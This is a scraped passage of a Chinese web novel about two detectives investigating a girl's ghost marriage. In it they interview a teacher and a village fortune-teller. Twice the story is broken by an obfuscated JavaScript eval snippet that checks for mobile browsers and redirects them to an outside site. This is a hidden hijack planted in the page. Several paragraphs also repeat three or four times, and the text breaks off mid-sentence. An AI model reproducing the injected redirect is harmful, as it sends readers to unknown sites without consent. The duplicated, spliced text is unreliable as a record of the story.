郎家有多少,都不好说。 毕竟这次的订婚宴,郎家比自己家更积极一点。 向爸爸掰着手指头给算了一遍。 楚隽听完,觉得一个个地查有点不现实。 这么多人,要查到猴年马月。而且,要核查的人太多了,就难抓住重心,即便是凶手混在里面,也不容易露出端倪。 楚隽从向家出来,已经是晚上七点半了。 向爸爸非要留楚隽他们吃个晚饭,但是没留住。 这会儿向家也没心情招待客人,就不麻烦了。 十一月份,晚上的温度挺低的。 楚隽穿了一件驼色大衣,安暖也穿了一件同款的,一眼看去就是情侣装。 出了向家,车停在外面的路上。 一阵风吹来,楚隽握住安暖的手,塞进自己的口袋里。 “冷吗?”楚隽说。 “不冷。” “这个点儿了,吃了饭再回去吧。” “好。” “想吃什么?” 安暖想了想:“吃火锅吧。冬天吃火锅,最舒服了。” 深秋也可以 。 京市的十一月已经很冷了这两天降温只有七八度。 这个温度穿大衣都有些冷了要穿羽绒服了。 楚隽是有羽绒服的安暖来的时候还暖和带的几件也是春秋天的衣服。后来虽然买了好几次衣服但都是时新应季的款式也还没来得及置办特别厚的冬装。 “好就去吃火锅。”楚隽说:“天冷了京市的冬天比你们那儿冷多了也不知道你能不能适应。” “没事儿这有什么不适应的。”安暖随口说:“对了我看老宅有空调你房间怎么没装?就算这边有供暖夏天应该也热吧?” 楚隽又一次短暂的沉默了。 “你……怎么知道老宅里装了空调。” 安暖像是看傻子一样看了一眼楚隽。 “我看见的呀。”安暖说:“爷爷房间里不是有一台吗?” 我也不瞎啊虽然款式和后世略有不同但大体是一样的还能不认识不成。 “是爷爷房间是有一台。”楚隽说:“没想到你观察得那么仔细。” 安暖再次用鄙视的眼神看了一眼楚隽。 这么大的东西不用仔细也能看得见。 楚隽自嘲地笑了一下。 “不是我不是那个意思我以为你不会注意到。我看你们县城好像还没有人家装空调。” 这要是在开始的时候安暖能知道空调这个物件都叫他挺意外的。 空调确实早就有了但这就算是在大城市也是一种奢侈品。 一般安装在重要的公共场所比如大型商场涉外酒店科研机构医院的特殊科室等等用于保障特定环境的温度需求。 一台空调价格昂贵不说产量和供应也有限。如今正是计划紧急向市场经济过渡的阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959111|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段对一些贵重商品和特定商品的购买还是有相关管控的。 有些东西有市无价不是有钱就能买的。 “我们那儿是小地方肯定没有。”安暖说:“别说空调就是电视 这才是生活的现状。 安暖才是格格不入的那个。 冬天有供暖但是听楼下邻居说温度不太行时间也短一万个不满意。 不过冬天还行冷的话还能灌个热水袋可以钻进被子里捂一捂。 夏天没有空调这日子可怎么过啊? 安暖心里沉甸甸的。 “楚隽。”安暖说:“我也不是 说非要过好日子,但是,你说咱们夏天能买个空调吗?现在空调多少钱一台?” 这话含蓄了。 安暖确实不是说非要过好日子,但是,确实也不想过苦日子。 重活一世,不是单纯为了活着。要是没有那没办法,既然有了,自然要尽量舒服一点。 “没问题,之前我一个人住,住的也不多,所以很多东西都没有添置,现在你住过来了,你看需要什么,都可以添置上。”楚隽说:“价格倒是还好,国产的一两千,不过单制冷。进口的冷暖的,八千一万吧,我回去就找人买。” 八千一万啊。 真贵。 安暖在没上班之前,碰上大额开支,一般会用四合院的金额来算一算。就觉得一对比,这上就没有什么贵的东西。 如今上班了,就换了一种算法。 不管什么都爱用自己的工资来对比一下,然后发现什么都好贵好贵。 楚隽自顾自道:“那房子供暖效果不好,不但夏天热,冬天也冷。我装两台效果好点的空调,这几天就安上,冬天也能暖和点。” 贵不贵的,楚隽是不太在意的。 能花两万买一块表的人,自然不会在意花同样的钱买可以提高生活质量的必须品。 安暖幸福地叹了口气。 有钱,真好。 本职工作不能丢,但她必须借着时代的东风,好好地赚钱。 现在花楚隽的这些,以后都要报答他。 第314章 回到学校 两人果然去吃了火锅,一边吃,一边聊天。 “吃饭的时候不说案子,伤脑子不利于消化。”楚隽一边涮菜,一边说:“你说起空调,我倒是想起一件事情来。” “什么事情?” 安暖喝可乐,咕嘟咕嘟的。 爽。 “咱们得抽空去看房子。” “房子?” “婚房啊。”楚隽道:“暖暖,你都带我回老家了,这就是默许了我们的关系,进入了谈婚论嫁的新阶段吧。” 安暖咬着筷子。 说起来,好像是这么回事。但是,还是太快了。 他们俩认识,也才两个月左右。 “既然是这样,那有些结婚的东西,就要提上日程,开始准备了。”楚隽说:“现在住的这个三室套虽然离单位近,很方便,但总是小了一点。肯定是不能当婚房的。” 安暖其实想说,真的一点都不小了。 三个房间呢,不但他们俩二人世界的时候可以住,就是以后有了孩子,都可以住。 但楚隽说:“你看,咱们俩一个主卧,还得要一个书房吧。以后要有孩子,孩子得要房间吧。不管谁来照顾孩子,我妈来也好,阿姨来也好,阿姨也要一个房间吧。这就得要四个房间……” 安暖只能说:“你想得可真周到。” “那当然,我知道你大大咧咧的,不操心,我肯定要想得周到一点。”楚隽说:“万一是双胞胎呢,不得多准备两个房间。房子买了以后还要装修,然后散散味,总不能今天换一个明天换一个,也太麻烦了,最好是一步到位。” 以楚隽的想法,最好是买个上下楼的洋房,孩子住一楼,小夫妻住二楼,互不干涉。 还能有个院子,可以自己种点花花草草,养点小鸡小鸭子。 “你说的也对。” 安暖决定个不纠结这个了,既然楚隽不缺钱,现在买房子绝对是件百利而无一害的事情。 现在买个小楼,过些年,就会自我繁殖出十栋二十栋。 不管是自住还是投资,都是特别划算的。 “买。”安暖当家做主一锤定音:“有空咱们就去看,买个地段好的,大点的。” 虽然现在结婚早了,可房子买了还要装修,折腾一下怎么也得半年呢。等都折腾清楚了,也就差不多可以真正的谈婚论嫁了。 未婚小夫妻,在不差钱的情况下,对于婚姻的准备,那可以聊的就多了。 终于,晚饭吃完了。 虽然意犹未尽,但回去的路上,还是切换回了上班模式。 安暖说:“我想了想,这么广撒网有点困难。还是要有一个侧重点。” “侧重点是什么?” “焦家。” 这个人愿意为焦雨花做出**的事情来,和焦家那是很熟悉的。说不定就在村子里,或者,曾经出现在村子里,就在焦家附近。 焦雨花只是个十三岁的小女孩。 这个年纪的孩子,她的人际交往范围是非常小的一个圈子。 亲戚,住的附近的邻居,学校里的同学老师,最多上下学路上常见的人,其他就没了。 又没上班,又不能在社会上晃荡,认识一些计划之外的人。 “嗯,我也是这么想的,明天我打算去一趟焦雨花上学的地方,问一下学生和老师的情况。” 两人回了三室套。 这一天天的也挺累的,虽然没有通宵,但都在外面忙到挺晚,也没睡几个好觉。 这两天忙得连书都没时间看了。 洗漱之后,两人都睡了,第二日还要早起。 前一日布置了任务,今日大家都各有地方去调查,不必回办公室打卡。 焦雨花上学的学校就在村子外面不远,现在是上课时间,他们到的时候,门已经关了。 学校里一片安静,都已经开始上课了。 校门口有门卫。 停了车,两人下了车。 楚隽走了过去。 “同志,你好。” “你好。”门卫从门房里出来:“请问有什么事情?” “我是市局刑警队的。”楚隽出示了证件:“有一些事情,想要找你们学校的老师调查询问一下。” 门卫一听,心里一紧。 刑警队找上门,十有**不是什么好事情。 他连忙说:“好的,那,我去找人,请你们稍等一下。” 门卫小跑着进了学校,很快,一个中年人匆忙出来了。 这是学校保卫处的林处长。 “警察同志,你们好。” 林处长和两人依次握了手:“请问一下,你们想要调查什么事情。” “是关于贵校的一名学校,叫焦雨花。” 一个学校的学生那么多,林处长显然不知道焦雨花的名字。 “这位焦同学,是哪个年级,哪个班的?” “她现在已经不在学校上学了。”楚隽说:“三年前,她在六年级,是一名女同学。” 十三岁,六年级。 “三年前的学生啊?”林处长露出一点为难的表情,但立刻道:“这得去档案室查一下了,或者,问一下学校的老师,看看他们有没有影响。你们随我进来吧。” 几人进了学校。 查三年前的**挺麻烦的,还是人脑记忆搜索好。 作为老师,三年前的学生应该还是有印象的。 当下,林处长带着他们,一个班一个班地找了过去, 所有三年前带六年级的任课老师,都喊出来问了一下。 果然,一问,就问到了。 幸亏是三年,时间不长,要是时间太长,就很难问了。 “焦雨花,我记得啊,是三年前我带的班上的学生。”章老师说:“她虽然学习不是很好,但挺用心。成绩在半晌是中上等,还是很不错的。长得也不错,一个看着很乖巧的小姑娘。不过家里条件不太好,我看她的衣服上常有补丁,吃得也不好,到了冬天,手上都是冻疮,听说是家里的家务活儿,都是她在做。” 就说,世上没有不透风的墙。 一个家庭待一个孩子如何,群众的眼睛是雪亮的。 只是除非太过分,不然的话,没有人会管别人家的事情。 焦雨花的境况一直不好,却也没到教人觉得忍无可忍的地步。 十三岁,六年级。 “三年前的学生啊?”林处长露出一点为难的表情,但立刻道:“这得去档案室查一下了,或者,问一下学校的老师,看看他们有没有影响。你们随我进来吧。” 几人进了学校。 查三年前的**挺麻烦的,还是人脑记忆搜索好。 作为老师,三年前的学生应该还是有印象的。 当下,林处长带着他们,一个班一个班地找了过去, 所有三年前带六年级的任课老师,都喊出来问了一下。 果然,一问,就问到了。 幸亏是三年,时间不长,要是时间太长,就很难问了。 “焦雨花,我记得啊,是三年前我带的班上的学生。”章老师说:“她虽然学习不是很好,但挺用心。成绩在半晌是中上等,还是很不错的。长得也不错,一个看着很乖巧的小姑娘。不过家里条件不太好,我看她的衣服上常有补丁,吃得也不好,到了冬天,手上都是冻疮,听说是家里的家务活儿,都是她在做。” 就说,世上没有不透风的墙。 一个家庭待一个孩子如何,群众的眼睛是雪亮的。 只是除非太过分,不然的话,没有人会管别人家的事情。 焦雨花的境况一直不好,却也没到教人觉得忍无可忍的地步。 十三岁,六年级。 “三年前的学生啊?”林处长露出一点为难的表情,但立刻道:“这得去档案室查一下了,或者,问一下学校的老师,看看他们有没有影响。你们随我进来吧。” 几人进了学校。 查三年前的**挺麻烦的,还是人脑记忆搜索好。 作为老师,三年前的学生应该还是有印象的。 当下,林处长带着他们,一个班一个班地找了过去, 所有三年前带六年级的任课老师,都喊出来问了一下。 果然,一问,就问到了。 幸亏是三年,时间不长,要是时间太长,就很难问了。 “焦雨花,我记得啊,是三年前我带的班上的学生。”章老师说:“她虽然学习不是很好,但挺用心。成绩在半晌是中上等,还是很不错的。长得也不错,一个看着很乖巧的小姑娘。不过家里条件不太好,我看她的衣服上常有补丁,吃得也不好,到了冬天,手上都是冻疮,听说是家里的家务活儿,都是她在做。” 就说,世上没有不透风的墙。 一个家庭待一个孩子如何,群众的眼睛是雪亮的。 只是除非太过分,不然的话,没有人会管别人家的事情。 焦雨花的境况一直不好,却也没到教人觉得忍无可忍的地步。 十三岁,六年级。 “三年前的学生啊?”林处长露出一点为难的表情,但立刻道:“这得去档案室查一下了,或者,问一下学校的老师,看看他们有没有影响。你们随我进来吧。” 几人进了学校。 查三年前的**挺麻烦的,还是人脑记忆搜索好。 作为老师,三年前的学生应该还是有印象的。 当下,林处长带着他们,一个班一个班地找了过去, 所有三年前带六年级的任课老师,都喊出来问了一下。< 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作为老师,三年前的学生应该还是有印象的。 当下,林处长带着他们,一个班一个班地找了过去, 所有三年前带六年级的任课老师,都喊出来问了一下。 果然,一问,就问到了。 幸亏是三年,时间不长,要是时间太长,就很难问了。 “焦雨花,我记得啊,是三年前我带的班上的学生。”章老师说:“她虽然学习不是很好,但挺用心。成绩在半晌是中上等,还是很不错的。长得也不错,一个看着很乖巧的小姑娘。不过家里条件不太好,我看她的衣服上常有补丁,吃得也不好,到了冬天,手上都是冻疮,听说是家里的家务活儿,都是她在做。” 就说,世上没有不透风的墙。 一个家庭待一个孩子如何,群众的眼睛是雪亮的。 只是除非太过分,不然的话,没有人会管别人家的事情。 焦雨花的境况一直不好,却也没到教人觉得忍无可忍的地步。 十三岁,六年级。 “三年前的学生啊?”林处长露出一点为难的表情,但立刻道:“这得去档案室查一下了,或者,问一下学校的老师,看看他们有没有影响。你们随我进来吧。” 几人进了学校。 查三年前的**挺麻烦的,还是人脑记忆搜索好。 作为老师,三年前的学生应该还是有印象的。 当下,林处长带着他们,一个班一个班地找了过去, 所有三年前带六年级的任课老师,都喊出来问了一下。 果然,一问,就问到了。 幸亏是三年,时间不长,要是时间太长,就很难问了。 “焦雨花,我记得啊,是三年前我带的班上的学生。”章老师说:“她虽然学习不是很好,但挺用心。成绩在半晌是中上等,还是很不错的。长得也不错,一个看着很乖巧的小姑娘。不过家里条件不太好,我看她的衣服上常有补丁,吃得也不好,到了冬天,手上都是冻疮,听说是家里的家务活儿,都是她在做。” 就说,世上没有不透风的墙。 一个家庭待一个孩子如何,群众的眼睛是雪亮的。 只是除非太过分,不然的话,没有人会管别人家的事情。 焦雨花的境况一直不好,却也没到教人觉得忍无可忍的地步。 十三岁,六年级。 “三年前的学生啊?”林处长露出一点为难的表情,但立刻道:“这得去档案室查一下了,或者,问一下学校的老师,看看他们有没有影响。你们随我进来吧。” 几人进了学校。 查三年前的**挺麻烦的,还是人脑记忆搜索好。 作为老师,三年前的学生应该还是有印象的。 当下,林处长带着他们,一个班一个班地找了过去, 所有三年前带六年级的任课老师,都喊出来问了一下。 果然,一问,就问到了。 幸亏是三年,时间不长,要是时间太长,就很难问了。 “焦雨花,我记得啊,是三年前我带的班上的学生。”章老师说:“她虽然学习不是很好,但挺用心。成绩在半晌是中上等,还是很不错的。长得也不错,一个看着很乖巧的小姑娘。不过家里条件不太好,我看她的衣服上常有补丁,吃得也不好,到了冬天,手上都是冻疮,听说是家里的家务活儿,都是她在做。” 就说,世上没有不透风的墙。 一个家庭待一个孩子如何,群众的眼睛是雪亮的。 只是除非太过分,不然的话,没有人会管别人家的事情。 焦雨花的境况一直不好,却也没到教人觉得忍无可忍的地步。 第315章 大师 带过焦雨花的不止一个老师,现在没课的,课上不是很急的,呼啦啦叫来好几个。 特别是她的班主任。 焦雨花的班主任是个三十岁的女老师,戴着眼镜,看着斯斯文文的。 说起焦雨花,自然是记得的。 “各位老师。楚隽说:“我想请你们好好回忆一下,在你们的记忆中,焦雨花这小姑娘,身上有没有发生什么特别的事情。特别是,和她家庭相关的事情。或者什么其他的亲戚,有什么很好的朋友之类。 安暖拿出了笔记本,同时叹了口气。 最近一天写的字,比之前一个月写的字还多。 老师们聚在一起,开始还有点拘谨,然后就聊了起来。 共同回忆起三年前,班上这个叫焦雨花的女学生。 其中一个老师说:“焦雨花家的人肯定有点封建迷信。 “怎么说? “我经常在她身上闻到香味,是那种,拜神的香烛的味道。不是擦脸面霜的味道。只有家里常年供着佛像的人,身上才会有这种味道。但她只是个十来岁的小姑娘,自己总不至于天天求神拜佛吧,那肯定是家里人有这爱好。 安暖记了下来,但是回忆了一下,觉得有点奇怪。 她和楚隽是去焦家检查过的,每一个房间,每一个柜子都检查过了。 没有看见什么奇怪的东西。 也没有看见求神拜佛的东西。 现在人家里不流行供奉这些,再往前去一点,那都是除四旧要被批判的东西。 就像是焦雨花死的时候的冥婚,这都是民间偷偷摸摸办的事情,不能宣扬,要不然的话,要被上门教育的。 安暖道:“几位老师,你们有和焦雨花住在一个村子的吗?或者,住在附近的,离得不远的。 巧了,焦雨花的班主任就是和她同一个村子的人,只是不是邻居,一个住在村头,一个住在村委。 安暖说:“老师,你知道不知道,你们村子里,或者是周边村子,有没有什么大神啊,大仙啊,大师一类的人。 班主任脸色一变:“那不是宣扬封建迷信吗? “是,但这也是人之常情。安暖一副可以理解的样子:“虽然说这样不好,但人有时候也是要有一个精神寄托的。只要不过分,不坑蒙拐骗,我觉得也是可以区别对待的。 存在既合理。 中华上下传承这么多年,不管是精华,还是封建糟粕,既然流传了下来,肯定有流传下来的 理由。适当的信仰,也无可厚非。 “这样啊……” 班主任看了看安暖的表情,琢磨了一下,觉得安暖说的是肺腑之言,没有钓鱼的嫌疑,认真地想了起来。 “好像是有一个。”班主任说:“村子里前些年其实还是挺落后的,很多人都相信一些虚无缥缈的东西。红白喜事要算日子,有人过世,要请人做仪式。还有一些奇奇怪怪的习俗。” 有婴儿夜哭,有孩子受惊,要请人来招魂。 包括冥婚,等等等等,甚至还有生病了不去医院,请人来跳大神喝符水的。 老师们都是有知识有文化的,自然是崇尚科学,自然是不信这些的,但是说起来,难免有一些八卦的嫌疑,也是眉飞色舞。 安暖还跟着他们八卦。 “之前啊,我们老家那边,也有个厉害的大师,说是符水包治百病。”安暖说:“神奇的是呢,他确实很灵验。他的符水,不能说包治百病吧,但确实能治很多小病。” 众人都认真听。 楚隽都听得很仔细。 安暖可是从来不信鬼神不信命的,她说的这个大师,肯定很特别。 “但那大师不是什么病都治的,有些他看一眼,说能符水能治。有些看一眼,说不行,就找个理由给打发走的。哎,你们猜怎么着,但凡是他说能治的,十有**,那符水是真的管用,非常神奇,一时间名声很大。说他是真神下凡,很多人都给他送钱。” 班主任忍不住道:“然后呢?难道他真的有这本事。” 安暖哈哈一笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967390|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “然后,他就被人举报了,**一查。这位大师以前是个医生,所以什么病都能大概的诊断一点,看症状,就能分辨得出。他那符纸不是一般的符纸,符纸上写字的墨水里,加了兽用抗生素,药力强劲功效大,立竿见影。许多小毛病,喝了都能好。” 众人都听呆了。 “所以。”安暖总结:“这些都是骗人的,不可信。” 众人连连点头称是。 楚隽道:“李老师,能不能麻烦你陪我们走一趟,去找一下村子里的这位大师。” 焦家人若是有什么心里的鬼,不会对外人说,但心里又没有办法排解,说不定会在大师面前透露一些。 就算是说得不多,焦雨花过世时候举行了冥婚,这件事情,这位大师总是知道的吧? 这个年代因为交通和通讯不便利,老百姓出远门的机会很少,大部分的生活都集中在住宅附近。有些人一辈子也没有离开一亩三分地,去得最远的地方,就是隔壁的村镇。 在京市周边生活的人,这都已经是非常有见识的了,要是在山村里生活,一辈子没出过村的人都是有的。 班主任看了看表:“可我现在还在上班。” 校领导立刻表示:“李老师,今天给你放假,你先协助楚队长调查案件。学校里,我们来安排。” 今天就不用回学校上课了,班主任一听,立刻答应了。 谁不想放一天假呢。 带楚隽他们去找大师,也不用找一天。何况那位大师家离她家不远,找着找着,自己就被送回家了。 当下,众人又讨论了一下,也没讨论出什么,楚隽就带着班主任李老师走了。 开车回村子去。 李老师上了车,难免又感慨了一番。 一个那么乖巧听话的女孩子,死在花一样的年纪,实在是太可惜了。 谁不心疼呢。 很快,楚隽就带着李老师进了村。 “就在前面,左转,有一棵大槐树,那位大师姓金,都叫他金大师,就住在槐树下。” 第316章 槐树下 槐树可不是个吉祥的树。 树是个好树,可惜名字里有鬼这个字,所以就给人阴森不吉利的感觉,久而久之,老槐树就跟鬼故事纠结在一起了。 这位金大师住哪儿不好,偏偏要住在槐树下,大概也是取一个干一行爱一行的道理。 显得自己不怕鬼。 车开到尽头,果然有一棵大树,长得沧桑得很,上半截已经有些枯萎,下半截还郁郁葱葱,抽了不少新枝桠。 老槐树下,有几间房子。 “就是这里。”李老师说:“不过我和他也不熟,毕竟咱们是讲科学的,不讲封建迷信。” “是,那是当然。”楚隽道:“李老师,谢谢你带我们过来,我自己去问就行,你先回去吧。要是有什么需要,我再去找你。” 人家老师,是个讲究的人。不要让人在这里晃荡,免得被人看见了说闲话,不好。 李老师这会儿离家已经挺近了,就回家了。临走,还热切地邀请楚隽他们要是不嫌弃,去家里吃个午饭。 现在已经十点半了,再要不了多久,就可以吃中饭了。 楚隽当然婉拒了。 这里出去找饭吃,开车还是很快的。他在外面,也是要注意纪律的,不能拿老百姓一针一线。 除非是没地方吃饭,在老乡家里可以吃一顿饭,但也要给钱。有地方吃,还是出去吃的好。 按李老师的说法,金大师今年有将近六十岁了,不是专职的大师,屋前屋后,也是有几亩地的。正经是个农户,然后,闲暇时候,给人算算日子,占卜问卦什么的,也算是个额外收入。 他们家几代人都是做这个的,早些年,打倒牛鬼蛇神的时候,被批斗得老惨老惨了,差一点就没命,后来才缓过来。 很多地方都有这样的人,这门手艺,也是祖传的手艺。你别说有用没有用,反正有人信,有人愿意给钱就行。 安暖和楚隽都下了车,上去敲门。 院子门很快就开了,果然,开门的是一个老者。 “你好。”楚隽说:“请问,是金大师吗?” 楚隽虽然没穿制服,但看起来气场就很强大,金大师连声说:“不敢当,不敢当,我不是什么大师,同志,你们是有什么事情吗?” 大师这种名声,可能是福,也可能是祸,被传出去,未必是好事。 楚隽道:“我们是市刑警队的,有一些事情,想要找你咨询一下。” 金大师脑子里顿时闪过许多可以埋进槐树下的故事,愣了 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 现在很多地方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 现在很多地方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 现在很多地方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 